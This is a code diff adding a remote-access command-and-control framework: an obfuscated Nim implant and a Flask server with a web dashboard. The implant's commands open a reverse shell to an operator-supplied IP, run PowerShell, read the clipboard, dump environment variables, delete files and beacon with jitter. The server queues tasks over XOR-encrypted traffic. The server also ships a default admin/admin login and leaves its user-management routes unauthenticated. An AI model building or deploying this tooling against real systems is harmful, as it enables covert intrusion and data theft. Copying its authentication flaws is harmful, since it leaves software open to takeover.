utc()) + var creationString: string = format(info.creationTime, DATE_FORMAT, utc()) + + return obf("Kind: ") & $kind & obf("\nSize: ") & $info.size & obf("\nLast Access: ") & lastAccessString & obf("\nLast Write: ") & lastWriteString & obf("\nCreated: ") & creationString & obf("\nPermissions: ") & $info.permissions + + except Exception as e: + return obf("Failed to get file info: ") & e.msg + +proc mv*(task: JsonNode): string = + var args: seq[JsonNode] = task[obf("args")].getElems + var source: string = args[0].getStr + var destination: string = args[1].getStr + + try: + if dirExists(source): + if dirExists(destination): + moveDir(source, destination/splitPath(source).tail) + else: + moveDir(source, destination) + + elif dirExists(destination): + moveFile(source, destination/splitPath(source).tail) + else: + moveFile(source, destination) + + except Exception as e: + return obf("") & e.msg + + result = obf("Moved ") & source & obf(" to ") & destination + +proc rm*(task: JsonNode): string = + var args: seq[JsonNode] = task[obf("args")].getElems + var filePath: string = args[0].getStr + + try: + if fileExists(filePath): + removeFile(filePath) + return obf("Deleted the file") + else: + return obf("File does not exists") + + except Exception as e: + return obf("Failed to read the file: ") & e.msg + +proc getEnv*(task: JsonNode): string = + var envVars: string + + try: + for key, value in envPairs(): + envVars = envVars & $key & "=" & $value & "\n" + + return envVars + + except Exception as e: + return obf("Failed to get environment variables: ") & e.msg + +proc getSleep*(task: JsonNode): string = + return obf("Sleep time: ") & $sleepTime & obf("\nJitter time: ") & $jitterTime + +proc setSleep*(task: JsonNode): string = + var args: seq[JsonNode] = task[obf("args")].getElems + var setSleepTime: int = args[0].getInt + var setJitterTime: int = args[1].getInt + + if setSleepTime < 0 or setJitterTime < 0: + return obf("Sleep time and jitter time cannot be negative") + + if setJitterTime > setSleepTime: + return obf("Jitter time cannot be greater than sleep time") + + sleepTime = setSleepTime + jitterTime = setJitterTime + + return obf("Set sleep time to ") & $sleepTime & obf("s with ") & $jitterTime & obf("s of jitter") + +proc reverseShell*(task: JsonNode): string = + var args: seq[JsonNode] = task[obf("args")].getElems + var ip: string = args[0].getStr + var port: int = args[1].getInt + + try: + spawn startReverseShell(ip, port) + except Exception as e: + return obf("Failed to start the reverse shell: ") & $e.msg + + return "Reverse shell started" + +proc pid*(task: JsonNode): string = + try: + var pid: int = getCurrentProcessId() + return $pid + except Exception as e: + return obf("Failed to get the PID: ") & e.msg + +proc sleepThenQuit(): void = + sleep(1000) + quit(0) + +proc kill*(task: JsonNode): string = + spawn sleepThenQuit() + + return obf("Killing the agent...") diff --git a/implants/tombili/src/sleep.nim b/implants/tombili/src/sleep.nim new file mode 100644 index 0000000..40f7458 --- /dev/null +++ b/implants/tombili/src/sleep.nim @@ -0,0 +1,18 @@ +import os +import random + +import config +import utils + +var sleepTime*: int = CHECKIN_SLEEP +var jitterTime*: int = CHECKIN_SLEEP_JITTER + +randomize() + +proc doSleep*(): void = + var time: int = (sleepTime + rand(jitterTime * -1..jitterTime)) * 1000 + + when not defined(release): + echo obf("Sleeping for ") & $time & obf("ms") + + sleep(time) diff --git a/implants/tombili/src/utils.nim b/implants/tombili/src/utils.nim new file mode 100644 index 0000000..29e3bd9 --- /dev/null +++ b/implants/tombili/src/utils.nim @@ -0,0 +1,25 @@ +import macros, hashes + +# https://github.com/chvancooten/NimPlant/blob/main/client/util/strenc.nim + +type + dstring = distinct string + +proc calculate*(s: dstring, key: int): string {.noinline.} = + var k = key + result = string(s) + for i in 0 ..< result.len: + for f in [0, 8, 16, 24]: + result[i] = chr(uint8(result[i]) xor uint8((k shr f) and 0xFF)) + k = k +% 1 + +var eCtr {.compileTime.} = hash(CompileTime & CompileDate) and 0x7FFFFFFF + +macro obf*(s: untyped): untyped = + if len($s) < 1000: + var encodedStr = calculate(dstring($s), eCtr) + result = quote do: + calculate(dstring(`encodedStr`), `eCtr`) + eCtr = (eCtr *% 16777619) and 0x7FFFFFFF + else: + result = s \ No newline at end of file diff --git a/implants/tombili/src/windows.nim b/implants/tombili/src/windows.nim new file mode 100644 index 0000000..ceaba24 --- /dev/null +++ b/implants/tombili/src/windows.nim @@ -0,0 +1,78 @@ +import osproc +import posix +import json +import winim/lean +import winim/inc/lm +import winim/utils +import threadpool + +import utils + +proc shell*(task: JsonNode): string = + var args: seq[JsonNode] = task["args"].getElems + var command: string = args[0].getStr + + try: + var commandOutput: string + (commandOutput, _) = execCmdEx(obf("powershell ") & command) + return commandOutput + + except: + return obf("Failed to run the command") + +proc whoami*(task: JsonNode): string = + try: + var buffer = newWString(UNLEN + 1) + var cb = DWORD buffer.len + + GetUserNameW(&buffer, &cb) + buffer.setLen(cb - 1) + + return $buffer + + except Exception as e: + return obf("Failed to get the current user: ") & e.msg + +proc spawnMsgbox(body: string, title: string): void = + discard MessageBox(0, body, title, 0) + +proc msgBox*(task: JsonNode): string = + var args: seq[JsonNode] = task["args"].getElems + var title: string = args[0].getStr + var body: string = args[1].getStr + + try: + spawn spawnMsgbox(body, title) + return "" + + except Exception as e: + return obf("Failed to display the message box: ") & e.msg + +proc getClipboard*(task: JsonNode): string = + try: + if OpenClipboard(0) == 0: + return obf("Unable to open the clipboard") + + if IsClipboardFormatAvailable(CF_UNICODETEXT) == 0: + CloseClipboard() + return "" + + let hClipboardData = GetClipboardData(CF_UNICODETEXT) + if hClipboardData == 0: + CloseClipboard() + return obf("Failed to get the clipboard") + + let pchData = GlobalLock(hClipboardData) + if pchData == nil: + CloseClipboard() + return obf("Failed to get the clipboard") + + let clipboardText = $cast[LPWSTR](pchData) + + discard GlobalUnlock(hClipboardData) + CloseClipboard() + + return clipboardText + + except Exception as e: + return obf("Failed to get the clipboard: ") & e.msg diff --git a/server/.dockerignore b/server/.dockerignore new file mode 100644 index 0000000..665da45 --- /dev/null +++ b/server/.dockerignore @@ -0,0 +1,2 @@ +.env +.env.* diff --git a/server/Dockerfile b/server/Dockerfile new file mode 100644 index 0000000..9e6e97e --- /dev/null +++ b/server/Dockerfile @@ -0,0 +1,18 @@ +FROM python:3.12-slim + +ENV PYTHONDONTWRITEBYTECODE=1 \ + PYTHONUNBUFFERED=1 \ + PIP_NO_CACHE_DIR=1 \ + PIP_DISABLE_PIP_VERSION_CHECK=1 + +WORKDIR /app + +COPY requirements.txt ./ +RUN pip install --no-cache-dir -r requirements.txt gunicorn==23.0.0 + +COPY altin/ ./altin/ + +RUN useradd --create-home --uid 10001 altin && chown -R altin:altin /app +USER altin + +CMD ["sh", "-c", "exec gunicorn --bind 0.0.0.0:${ALTIN_PORT:-3000} --workers 1 --threads 4 --access-logfile - --error-logfile - altin:app"] diff --git a/server/altin/__init__.py b/server/altin/__init__.py new file mode 100644 index 0000000..b4327f1 --- /dev/null +++ b/server/altin/__init__.py @@ -0,0 +1,22 @@ +from flask import Flask, request +from flask_cors import CORS + +from .config import load_config, validate_config + +load_config() +validate_config() + +from .config import config + +from .database import init_db +init_db() + +from .c2_routes import c2_routes +from .management_routes import management_routes + +app = Flask(__name__) + +CORS(app, resources={r'/api/*': {'origins': '*'}}) + +app.register_blueprint(c2_routes) +app.register_blueprint(management_routes) diff --git a/server/altin/agent.py b/server/altin/agent.py new file mode 100644 index 0000000..5c78cd6 --- /dev/null +++ b/server/altin/agent.py @@ -0,0 +1,72 @@ +from .database import Agent, Task, TaskResult, Key +import json +import uuid +from datetime import datetime + +ACTION_CHECKIN = 1 +ACTION_REGISTER = 2 +ACTION_TASK_RESULT = 3 + +STATUS_ERROR = 0 +STATUS_CONTINUE = 1 +STATUS_TASKS = 2 +STATUS_REGISTER = 3 +STATUS_INVALID = 4 + +def create_agent(implant_id: str, ip: str, os: str, commands: list) -> None: + Agent.create(implant_id=str(implant_id), ip=str(ip), os=str(os), commands=str(json.dumps(commands))) + +def is_agent(implant_id: str, ip: str) -> bool: + return(Agent.select().where((Agent.implant_id == implant_id) & (Agent.ip == ip)).exists()) + +def get_agent_id(implant_id: str, ip: str) -> str: + return(str(Agent.select().where((Agent.implant_id == implant_id) & (Agent.ip == ip))[0].id)) + +def get_active_tasks(agent_id: str) -> list[dict]: + tasks = [] + + for task in Task.select().where((Task.agent == agent_id) & (Task.completed == False)): + tasks.append({ + "task_id": str(task.id), + "task": str(task.task), + "args": json.loads(task.args) + }) + + return(tasks) + +def mark_task_sent(task_id: str) -> None: + Task.update(sent=True).where(Task.id == uuid.UUID(task_id)).execute() + +def log_task_result(task_id: str, result: str) -> None: + TaskResult.create(task=uuid.UUID(task_id), result=str(result)) + Task.update(completed=True).where(Task.id == uuid.UUID(task_id)).execute() + +def update_last_checkin(agent_id: str) -> None: + Agent.update(last_checkin=datetime.now()).where(Agent.id == agent_id).execute() + +def validate_commands(commands: list) -> bool: + command_names = [] + + for command in commands: + if 'command' in command and 'description' in command and 'args' in command: + if command['command'] in command_names: # Duplicate command name + return(False) + + command_names.append(command['command']) + + arg_names = [] + for arg in command['args']: + if 'name' in arg and 'arg_type' in arg and 'description' in arg and 'required' in arg: + + if arg['name'] in arg_names: # Duplicate argument name + return('False') + + arg_names.append(arg['name']) + + else: # Invalid argument keys + return(False) + + else: # Invalid command keys + return(False) + + return(True) diff --git a/server/altin/auth.py b/server/altin/auth.py new file mode 100644 index 0000000..275573b --- /dev/null +++ b/server/altin/auth.py @@ -0,0 +1,24 @@ +from flask import request, jsonify +from functools import wraps +import jwt +from datetime import datetime + +from .config import config + +def login_required(f): + @wraps(f) + def login_required_decorator(*args, **kwargs): + if 'Authorization' not in request.headers: + return(jsonify({'message': 'Authorization header required'}), 401) + + try: + decoded_token = jwt.decode(request.headers['Authorization'], config['jwt_secret'], algorithms=["HS256"]) + + except jwt.ExpiredSignatureError: + return(jsonify({'message': 'Invalid authorization'}), 401) + + except jwt.InvalidTokenError: + return(jsonify({'message': 'Invalid authorization'}), 401) + + return f(*args, **kwargs) + return(login_required_decorator) \ No newline at end of file diff --git a/server/altin/c2_routes.py b/server/altin/c2_routes.py new file mode 100644 index 0000000..3450479 --- /dev/null +++ b/server/altin/c2_routes.py @@ -0,0 +1,111 @@ +from flask import Blueprint, request +import json + +from .database import Key +from . import agent + +c2_routes = Blueprint('c2_routes', __name__) + +def xor_data(key: str, data: str) -> str: + xored = '' + + for i in range(len(data)): + xored += chr(ord(data[i]) ^ ord(key[i % len(key)])) + + return(xored) + +@c2_routes.route('/', defaults={'path': ''}, methods=['POST']) +@c2_routes.route('/', methods=['POST']) +def c2_catchall(path: str): + encrypted_data = request.data.decode('utf-8') + + found_key = False + agent_key = '' + data = None + + for key in Key.select(): + try: + decrypted_data = xor_data(key.key, encrypted_data) + except: + continue + + try: + data = json.loads(decrypted_data) + except: + # Invalid json + pass + + found_key = True + agent_key = str(key.key) + break + + # Return empty response if no key is found + if not found_key or not data: + return('') + + if 'implant_id' not in data or 'ip' not in data or 'action' not in data: + return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "requst must conain an `implant_id`, `ip`, and `action` keys"}')) + + # Agent action + if data['action'] == agent.ACTION_REGISTER: + if 'registration' not in data: + return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "registration action request must include a `registration` key"}')) + + # Check if this agent is already registered + if agent.is_agent(data['implant_id'], data['ip']): + return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_CONTINUE) + ', "message": "already registered"}')) + + # Validate commands + if not agent.validate_commands(data['registration']['commands']): + return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "invalid commands"}')) + + agent.create_agent(data['implant_id'], data['ip'], data['registration']['os'], data['registration']['commands']) + + agent_id = agent.get_agent_id(data['implant_id'], data['ip']) + agent.update_last_checkin(agent_id) + + return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_CONTINUE) + '}')) + + elif data['action'] == agent.ACTION_CHECKIN: + if not agent.is_agent(data['implant_id'], data['ip']): + return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_REGISTER) + '}')) + + agent_id = agent.get_agent_id(data['implant_id'], data['ip']) + agent.update_last_checkin(agent_id) + + if agent_id == None: + return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_ERROR) + ', "message": "something went wrong"}')) + + active_tasks = agent.get_active_tasks(agent_id) + + # If there aren't any tasks, just continue + if len(active_tasks) == 0: + return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_CONTINUE) + '}')) + + # Mark the tasks sent + for task in active_tasks: + agent.mark_task_sent(task['task_id']) + + return(xor_data(agent_key, '{"status": ' + json.dumps(agent.STATUS_TASKS) + ', "tasks": ' + json.dumps(active_tasks) + '}')) + + elif data['action'] == agent.ACTION_TASK_RESULT: + if not agent.is_agent(data['implant_id'], data['ip']): + return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_REGISTER) + '}')) + + agent_id = agent.get_agent_id(data['implant_id'], data['ip']) + agent.update_last_checkin(agent_id) + + if 'result' not in data: + return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "task result action request must include a `result` key"}')) + + # Validate the result + if 'task_id' not in data['result'] or 'result' not in data['result']: + return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "task result must contain a `task_id` and `result` key"}')) + + # Log the result to the database + agent.log_task_result(data['result']['task_id'], data['result']['result']) + + return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_CONTINUE) + '}')) + + else: + return(xor_data(agent_key, f'{"status": {agent.STATUS_INVALID}, "message": "invalid action"}')) diff --git a/server/altin/config.py b/server/altin/config.py new file mode 100644 index 0000000..f432b57 --- /dev/null +++ b/server/altin/config.py @@ -0,0 +1,45 @@ +import os +from dotenv import load_dotenv + +config = {} + +def load_config() -> None: + global config + + load_dotenv() + + try: + config = { + 'port': int(os.environ.get('ALTIN_PORT', default=3030)), + 'database': str(os.environ.get('ALTIN_DATABASE', default='sqlite')), + 'db_path': str(os.environ.get('ALTIN_SQLITE_PATH', default='altin.db')), + 'db_db': str(os.environ.get('ALTIN_PGSQL_DATABASE', default=None)), + 'db_host': str(os.environ.get('ALTIN_PGSQL_HOST', default=None)), + 'db_port': str(os.environ.get('ALTIN_PGSQL_PORT', default=None)), + 'db_user': str(os.environ.get('ALTIN_PGSQL_USER', default=None)), + 'db_password': str(os.environ.get('ALTIN_PGSQL_PASSWORD', default=None)), + 'jwt_secret': str(os.environ.get('ALTIN_JWT_SECRET', default=None)) + } + + except Exception as e: + print(f'Failed to load config: {e}') + quit(1) + +def validate_config() -> None: + global config + + valid = True + message = '' + + if config['database'] not in ['sqlite', 'postgres']: + message += 'ALTIN_DATABASE must be `sqlite` or `postgres`\n' + valid = False + + if not config['jwt_secret']: + message += 'ALTIN_JWT_SECRET must be set\n' + valid = False + + if not valid: + print('Invalid config!') + print(message) + quit(1) \ No newline at end of file diff --git a/server/altin/database.py b/server/altin/database.py new file mode 100644 index 0000000..4ec5292 --- /dev/null +++ b/server/altin/database.py @@ -0,0 +1,123 @@ +import peewee +import uuid +import json +from datetime import datetime +import hashlib + +from .config import config + +if config['database'] == 'sqlite': + db = peewee.SqliteDatabase(config['db_path'], pragmas={'journal_mode': 'wal'}) + +if config['database'] == 'postgres': + db = peewee.PostgresqlDatabase( + config['db_db'], + host=config['db_host'], + port=int(config['db_port']) if config['db_port'] not in (None, 'None') else 5432, + user=config['db_user'], + password=config['db_password'] + ) + +class Agent(peewee.Model): + id = peewee.CharField(null=False, unique=True, default=uuid.uuid4) + implant_id = peewee.CharField(null=False) + ip = peewee.CharField(null=False) + os = peewee.CharField(null=False) + commands = peewee.TextField(null=False) + tags = peewee.TextField(null=False, default='[]') + last_checkin = peewee.DateTimeField(null=False, default=datetime.now) + + def serialize(self): + return({ + 'id': self.id, + 'implant_id': self.implant_id, + 'ip': self.ip, + 'os': self.os, + 'commands': json.loads(self.commands), + 'tags': json.loads(self.tags), + 'last_checkin': self.last_checkin + }) + + class Meta: + database = db + db_table = 'agents' + +class Task(peewee.Model): + id = peewee.CharField(null=False, unique=True, default=uuid.uuid4) + agent = peewee.ForeignKeyField(Agent, 'id', null=False, on_delete='CASCADE') + task = peewee.CharField(null=False) + args = peewee.TextField(null=False, default='[]') + sent = peewee.BooleanField(null=False, default=False) + completed = peewee.BooleanField(null=False, default=False) + + def serialize(self): + return({ + 'id': self.id, + 'agent': str(self.agent), + 'task': self.task, + 'args': json.loads(self.args), + 'sent': self.sent, + 'completed': self.completed + }) + + class Meta: + database = db + db_table = 'tasks' + +class TaskResult(peewee.Model): + id = peewee.CharField(null=False, unique=True, default=uuid.uuid4) + task = peewee.ForeignKeyField(Task, 'id', null=False, on_delete='CASCADE') + result = peewee.TextField(null=True) + timestamp = peewee.DateTimeField(null=False, default=datetime.now) + + def serialize(self): + return({ + 'id': self.id, + 'task': str(self.task), + 'result': self.result, + 'timestamp': str(self.timestamp) + }) + + class Meta: + database = db + db_table = 'task_results' + +class Key(peewee.Model): + id = peewee.CharField(null=False, unique=True, default=uuid.uuid4) + name = peewee.CharField(null=False) + key = peewee.CharField(null=False) + + def serialize(self): + return({ + 'id': self.id, + 'name': self.name, + 'key': self.key + }) + + class Meta: + database = db + db_table = 'keys' + +class User(peewee.Model): + id = peewee.CharField(null=False, unique=True, default=uuid.uuid4) + username = peewee.CharField(null=False) + password = peewee.CharField(null=False) + admin = peewee.BooleanField(null=False, default=False) + + def serialize(self): + return({ + 'id': self.id, + 'username': self.username, + 'admin': self.admin + }) + + class Meta: + database = db + db_table = 'user' + +def init_db() -> None: + db.create_tables([Agent, Task, TaskResult, Key, User]) + + # Default user check + if not User.select().where(User.username == 'admin').exists(): + User.create(username='admin', password=hashlib.sha512('admin'.encode('utf-8')).hexdigest(), admin=1) diff --git a/server/altin/management_routes.py b/server/altin/management_routes.py new file mode 100644 index 0000000..a2d240e --- /dev/null +++ b/server/altin/management_routes.py @@ -0,0 +1,314 @@ +from flask import Blueprint, request, jsonify +import json +import hashlib +import jwt +from datetime import datetime, timedelta + +from .config import config +from .database import Agent, Task, TaskResult, Key, User +from .auth import login_required + +management_routes = Blueprint('management_routes', __name__) + +# Login +@management_routes.route('/api/login', methods=['POST']) +def login(): + if 'username' not in request.json or 'password' not in request.json: + return(jsonify({'message': 'Invalid request'}), 400) + + user = User.select().where((User.username == request.json['username']) & (User.password == hashlib.sha512(request.json['password'].encode('utf-8')).hexdigest())) + + if not user.exists(): + return(jsonify({'message': 'Invalid username or password'}), 401) + + now = datetime.now() + + token = jwt.encode({'user_id': user[0].id, 'admin': user[0].admin, 'iat': now, 'exp': now+timedelta(days=1)}, config['jwt_secret'], algorithm='HS256') + + return(jsonify({'message': 'Success', 'token': token}), 200) + +# Agents +@management_routes.route('/api/agents', methods=['GET']) +@login_required +def get_agents(): + agents = [] + + query = Agent.select() + + if 'ip' in request.args: + query = query.where(Agent.ip == request.args['ip']) + + if 'implant' in request.args: + query = query.where(Agent.implant_id == request.args['implant']) + + if 'os' in request.args: + query = query.where(Agent.os == request.args['os']) + + for agent in Agent.select(): + agents.append(agent.serialize()) + + return(jsonify({'agents': agents}), 200) + +@management_routes.route('/api/agents/', methods=['GET']) +@login_required +def get_agent(agent_id: str): + agent = Agent.select().where(Agent.id == str(agent_id)).first() + + if not agent: + return(jsonify({'message': 'No such agent'}), 404) + + return(jsonify(agent.serialize()), 200) + +@management_routes.route('/api/agents/', methods=['DELETE']) +@login_required +def delete_agent(agent_id: str): + agent = Agent.select().where(Agent.id == str(agent_id)).first() + + if not agent: + return(jsonify({'message': 'No such agent'}), 404) + + for task in Task.select().where(Task.agent_id == agent.id): + TaskResult.delete().where(TaskResult.task_id == task.id).execute() + task.delete().execute() + + agent.delete().execute() + + + return(jsonify({'message': 'The agent was deleted'}), 204) + +@management_routes.route('/api/agents//tags', methods=['POST']) +@login_required +def tag_agent(agent_id: str): + agent = Agent.select().where(Agent.id == str(agent_id)).first() + + if not agent: + return(jsonify({'message': 'No such agent'}), 404) + + if 'tags' not in request.json: + return(jsonify({'message': 'Invalid request'}), 400) + + tags = request.json['tags'] + + if type(tags) != list: + return(jsonify({'message': 'Invalid request'}), 400) + + agent_tags = json.loads(agent.tags) + + for tag in tags: + if tag not in agent_tags: + agent_tags.append(tag) + + agent.update(tags=json.dumps(agent_tags)).where(Agent.id == str(agent_id)).execute() + + return(jsonify({'message': 'Agent updated'}), 201) + +@management_routes.route('/api/agents//tags', methods=['DELETE']) +@login_required +def untag_agent(agent_id: str): + agent = Agent.select().where(Agent.id == str(agent_id)).first() + + if not agent: + return(jsonify({'message': 'No such agent'}), 404) + + if 'tags' not in request.json: + return(jsonify({'message': 'Invalid request'}), 400) + + tags = request.json['tags'] + + if type(tags) != list: + return(jsonify({'message': 'Invalid request'}), 400) + + agent_tags = json.loads(agent.tags) + + + + agent.update(tags=json.dumps(agent_tags)).where(Agent.id == str(agent_id)).execute() + + return(jsonify({'message': 'Agent updated'}), 201) + +# Tasks +@management_routes.route('/api/tasks', methods=['GET']) +@login_required +def get_tasks(): + tasks = [] + + query = Task.select() + + if 'id' in request.args: + query = query.where(Task.agent_id == request.args['id']) + + if 'agent' in request.args: + query = query.where(Task.agent_id == request.args['agent']) + + if 'sent' in request.args: + if request.args['sent'].lower() == 'true': + query = query.where(Task.sent == True) + elif request.args['sent'].lower() == 'false': + query = query.where(Task.sent == False) + else: + return(jsonify({'message': 'Invalid request'}), 400) + + if 'completed' in request.args: + if request.args['completed'].lower() == 'true': + query = query.where(Task.completed == True) + elif request.args['completed'].lower() == 'false': + query = query.where(Task.completed == False) + else: + return(jsonify({'message': 'Invalid request'}), 400) + + for task in query: + tasks.append(task.serialize()) + + return(jsonify({'tasks': tasks}), 200) + +# Task results +@management_routes.route('/api/task-results', methods=['GET']) +@login_required +def get_taskresults(): + results = [] + + query = TaskResult.select() + + if 'id' in request.args: + query = query.where(TaskResult.id == request.args['id']) + + if 'task_id' in request.args: + query = query.where(TaskResult.task == request.args['agent']) + + for result in query: + results.append(result.serialize()) + + return(jsonify({'results': results}), 200) + +@management_routes.route('/api/tasks', methods=['POST']) +@login_required +def create_task(): + if 'agent_id' not in request.json or 'command' not in request.json or 'args' not in request.json: + return(jsonify({'message': 'Invalid request'}), 400) + + query = Agent.select().where(Agent.id==request.json['agent_id']) + + + if len(query) == 0: + return(jsonify({'message': 'No such agent'}), 404) + + commands_json = json.loads(query[0].commands) + + for command in commands_json: + if command['command'] == request.json['command']: + user_args = request.json['args'] + required_args = 0 + + for arg in command['args']: + if arg['required'] == True: + required_args += 1 + + if len(user_args) != required_args: + return(jsonify({'message': 'Invalid command arguments'}), 404) + + Task.create(agent=request.json['agent_id'], task=request.json['command'], args=json.dumps(user_args)) + + return(jsonify({'message': 'Task sent'}), 201) + + return(jsonify({'message': 'Invalid task'}), 400) + +# Keys +@management_routes.route('/api/keys', methods=['GET']) +@login_required +def get_keys(): + keys = [] + for key in Key.select(): + keys.append(key.serialize()) + + return(jsonify({'keys': keys}), 200) + +@management_routes.route('/api/keys', methods=['POST']) +@login_required +def create_key(): + if 'key' not in request.json or 'name' not in request.json: + return(jsonify({'message': 'Invalid request'}), 400) + + name = request.json['name'] + key = request.json['key'] + + if Key.select().where(Key.name==name).exists(): + return(jsonify({'message': 'A key with that name already exists'})) + + Key.create(name=name, key=key) + + return(jsonify({'message': 'The key was created'}), 201) + +@management_routes.route('/api/keys', methods=['DELETE']) +@login_required +def delete_key(): + if 'id' not in request.json: + return(jsonify({'message': 'Invalid request'}), 400) + + key_id = request.json['id'] + + if not Key.select().where(Key.id==key_id).exists(): + return(jsonify({'message': 'No such key'}), 404) + + Key.delete().where(Key.id == key_id).execute() + + return(jsonify({'message': 'The key was deleted'}), 204) + +# Users +@management_routes.route('/api/users', methods=['GET']) +def get_users(): + users = [] + for user in User.select(): + users.append(user.serialize()) + + return(jsonify({'users': users}), 200) + +@management_routes.route('/api/users', methods=['POST']) +def create_user(): + if 'username' not in request.json or 'password' not in request.json or 'admin' not in request.json: + return(jsonify({'message': 'Invalid request'}), 400) + + username = request.json['username'] + password = request.json['password'] + admin = request.json['admin'] + + if admin not in [True, False]: + return(jsonify({'message': 'Invalid request'}), 400) + + if User.select().where(User.username == username).exists(): + return(jsonify({'message': 'A user with that username already exists'}), 403) + + User.create(username=username, password=hashlib.sha512(password.encode('utf-8')).hexdigest(), admin=admin) + + return(jsonify({'message': 'Success'}), 200) + +@management_routes.route('/api/users', methods=['PATCH']) +def edit_user(): + if 'id' not in request.json: + return(jsonify({'message': 'Invalid request'}), 400) + + if not User.select().where(User.id == request.json['id']).exists(): + return(jsonify({'message': 'No such user'}), 404) + + if 'username' in request.json: + User.update(username=request.json['username']).where(User.id==request.json['id']).execute() + elif 'password' in request.json: + User.update(password=request.json['password']).where(User.id==request.json['id']).execute() + elif 'admin' in request.json: + if admin not in [True, False]: + return(jsonify({'message': 'Invalid request'}), 400) + + User.update(admin=request.json['admin']).where(User.id==request.json['id']).execute() + + return(jsonify({'message': 'User updated'}), 200) + +@management_routes.route('/api/users', methods=['DELETE']) +def delete_user(): + if 'id' not in request.json: + return(jsonify({'message': 'Invalid request'}), 400) + + if not User.select().where(User.id == request.json['id']).exists(): + return(jsonify({'message': 'No such user'}), 404) + + User.delete().where(User.id == request.json['id']).execute() + + return(jsonify({'message': 'User deleted'}), 204) diff --git a/server/debug_server.py b/server/debug_server.py new file mode 100644 index 0000000..f1542e9 --- /dev/null +++ b/server/debug_server.py @@ -0,0 +1,3 @@ +import altin + +altin.app.run(debug=True, port=altin.config['port']) \ No newline at end of file diff --git a/server/requirements.txt b/server/requirements.txt new file mode 100644 index 0000000..4e84432 --- /dev/null +++ b/server/requirements.txt @@ -0,0 +1,6 @@ +Flask==2.3.2 +flask-cors==4.0.0 +PyJWT==2.8.0 +peewee==3.16.3 +psycopg2-binary==2.9.13 +python-dotenv==1.0.0 diff --git a/webui/Dockerfile b/webui/Dockerfile new file mode 100644 index 0000000..51a7a1a --- /dev/null +++ b/webui/Dockerfile @@ -0,0 +1,9 @@ +FROM nginx:alpine + +RUN rm -rf /usr/share/nginx/html/* + +COPY --exclude=Dockerfile . /usr/share/nginx/html + +EXPOSE 80 + +CMD ["nginx", "-g", "daemon off;"] diff --git a/webui/agents.html b/webui/agents.html new file mode 100644 index 0000000..f504159 --- /dev/null +++ b/webui/agents.html @@ -0,0 +1,250 @@ + + + + + + Altin | Agents + + + + + + +
+ + +
+ + +
+
+
+
+ + +
+
+ + +
+
+ + +
+
+ +
+
+ Selected agents +
0 selected
+
+
+ + + +
+
+
+
+ +
+
+ + + + + + + + + + + + + + +
SelectIPImplantOSTagsLast check-inCommandsActions
+
+
+
+
+
+ + + + + + + + + + diff --git a/webui/assets/css/home.css b/webui/assets/css/home.css new file mode 100644 index 0000000..522fa10 --- /dev/null +++ b/webui/assets/css/home.css @@ -0,0 +1,1189 @@ +:root { + --panel-top: var(--accent); +} + +.app-page { + min-height: 100vh; +} + +.app-layout { + min-height: 100vh; + display: grid; + grid-template-columns: 250px minmax(0, 1fr); +} + +.sidebar { + position: sticky; + top: 0; + height: 100vh; + padding: .8rem; + border-right: 1px solid var(--border-main); + background: + linear-gradient(180deg, var(--overlay-subtle), transparent 30%), + var(--bg-panel); + display: flex; + flex-direction: column; + gap: 1.25rem; +} + +.brand-block { + padding: 1rem; + border: 1px solid var(--border-main); + background: + linear-gradient(180deg, var(--overlay-accent), transparent 70%), + var(--bg-panel-2); +} + +.brand-mark { + display: inline-flex; + align-items: center; + justify-content: center; + width: 42px; + height: 42px; + border: 1px solid var(--border-strong); + color: var(--accent); + font-weight: 800; + margin-bottom: 0.8rem; +} + +.brand-name { + font-size: 1.35rem; + font-weight: 800; + letter-spacing: 0.14em; + text-transform: uppercase; +} + +.brand-subtitle { + margin-top: 0.4rem; + color: var(--text-muted); + font-size: 0.9rem; + line-height: 1.5; +} + +.sidebar-section { + display: grid; + gap: 0.75rem; +} + +.sidebar-heading { + font-size: 0.72rem; + text-transform: uppercase; + letter-spacing: 0.14em; + color: var(--text-muted); +} + +.nav-list { + display: grid; + gap: 0.45rem; +} + +.nav-item { + width: 100%; + display: flex; + align-items: center; + justify-content: space-between; + padding: 0.8rem 0.9rem; + border: 1px solid var(--border-main); + background: var(--bg-panel-2); + color: var(--text-main); + text-transform: uppercase; + letter-spacing: 0.08em; + font-size: 0.82rem; +} + +.nav-item.is-active { + border-color: var(--accent); + background: var(--bg-panel); + box-shadow: inset 3px 0 0 var(--accent); +} + +.nav-item .nav-accent { + color: var(--accent); +} + +.sidebar-footer { + margin-top: auto; + display: grid; + gap: 0.75rem; +} + +.sidebar-info { + padding: 0.9rem; + border: 1px solid var(--border-main); + background: var(--bg-panel-2); + color: var(--text-muted); + line-height: 1.55; + font-size: 0.9rem; +} + +.main-shell { + min-width: 0; + padding: 1.25rem 1.25rem 2rem; + display: grid; + gap: 1.25rem; + align-content: start; + justify-content: stretch; +} + +.page-header { + display: flex; + align-items: flex-end; + justify-content: space-between; + gap: 1rem; + padding: 0.25rem 0.1rem 0; +} + +.page-title { + font-size: 1.4rem; + letter-spacing: 0.12em; + text-transform: uppercase; +} + +.page-kicker { + margin-top: 0.35rem; + color: var(--text-muted); + line-height: 1.5; +} + +/* Failures only. The element holds no text on a healthy load, and :empty collapses + it, so the page title gets no stray gap. Previously a wrapper div with a reserved + min-height sat here permanently, which is where the old status line lived. */ +.page-error { + margin-top: 0.45rem; + color: var(--danger); + font-size: 0.88rem; + line-height: 1.5; +} + +.page-error:empty { + display: none; +} + +.page-header-spaced { + align-items: center; +} + +.compact-option { + justify-content: flex-start; + margin-top: 0.25rem; +} + +.topbar-actions { + display: flex; + align-items: center; + gap: 0.65rem; +} + +.metric-grid { + display: grid; + grid-template-columns: repeat(4, minmax(0, 1fr)); + gap: 1rem; +} + +.metric-card { + padding: 1.25rem 1.15rem; + border: 1px solid var(--border-main); + background: var(--bg-panel); + display: flex; + flex-direction: column; + 